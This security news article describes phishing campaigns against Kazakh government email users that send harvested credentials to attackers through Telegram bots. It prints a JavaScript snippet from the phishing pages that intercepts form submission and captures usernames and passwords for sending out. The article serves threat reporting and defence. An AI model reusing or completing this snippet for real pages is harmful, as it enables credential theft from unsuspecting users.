Threats Actors Using Telegram as The Communication Channel to Exfiltrate The Stolen Data

Cybersecurity researchers have identified an alarming trend where threat actors are increasingly leveraging Telegram’s Bot API infrastructure as a covert communication channel for data exfiltration.

This sophisticated attack methodology combines traditional phishing techniques with legitimate messaging services to bypass conventional security controls and establish persistent command-and-control operations.

The malicious campaigns utilize fake login pages crafted to harvest user credentials before transmitting the stolen data directly to attacker-controlled Telegram bots.

Recent investigations have revealed that these attacks specifically target high-value organizations and government entities, with threat actors deploying JavaScript-based credential harvesting mechanisms embedded within seemingly legitimate HTML pages.

The attacks demonstrate a professional approach to social engineering, incorporating authentic-looking interfaces that mirror trusted government domains and official service portals.

The malware’s design suggests coordinated campaigns aimed at systematic credential theft rather than opportunistic attacks.

A cybersec enthusiast, cocomelonc noted the emergence of this threat variant through a comprehensive analysis of malicious HTML files discovered in Kazakhstan’s public sector.

The research identified multiple instances where attackers crafted domain-specific phishing pages targeting government email accounts, incorporating pre-filled email addresses to enhance the attack’s credibility.

These campaigns demonstrate sophisticated targeting methodologies, suggesting threat actors possess prior reconnaissance intelligence about their intended victims.

The operational impact extends beyond simple credential theft, as successful compromises provide threat actors with legitimate authentication pathways into sensitive organizational systems.

Intelligence analysis indicates these attacks facilitate lateral movement within compromised networks, enabling persistent access and prolonged data collection activities.

Telegram-Based Exfiltration Mechanism

The malware’s core functionality centers around a JavaScript-based credential interception system that captures user input before transmitting data through Telegram’s messaging infrastructure.

The attack mechanism operates through a strategically crafted HTML form that prevents standard form submission while capturing entered credentials:-

document.getElementById('loginForm').addEventListener('submit', function(event) {
  event.preventDefault();
  var username = document.getElementById('username').value;
  var password = document.getElementById('password').value;
  var payload = `Username: ${username}nPassword: ${password}`;
  sendToTelegram(payload);
});

The data transmission process utilizes Telegram’s Bot API through XMLHttpRequest calls, establishing direct communication with attacker-controlled channels.

The implementation includes specific bot tokens and chat identifiers, creating dedicated exfiltration pathways for stolen credentials.

Analysis of recovered samples reveals consistent API integration patterns, suggesting standardized toolkits among threat actors.

The malware incorporates error handling and data encoding mechanisms to ensure reliable transmission while maintaining operational security through legitimate service abuse.

Security researchers emphasize the challenge these attacks present to traditional detection systems, as the communication occurs through encrypted channels using legitimate infrastructure.

Organizations must implement comprehensive monitoring strategies that include JavaScript behavior analysis and network traffic inspection to identify these sophisticated exfiltration attempts.

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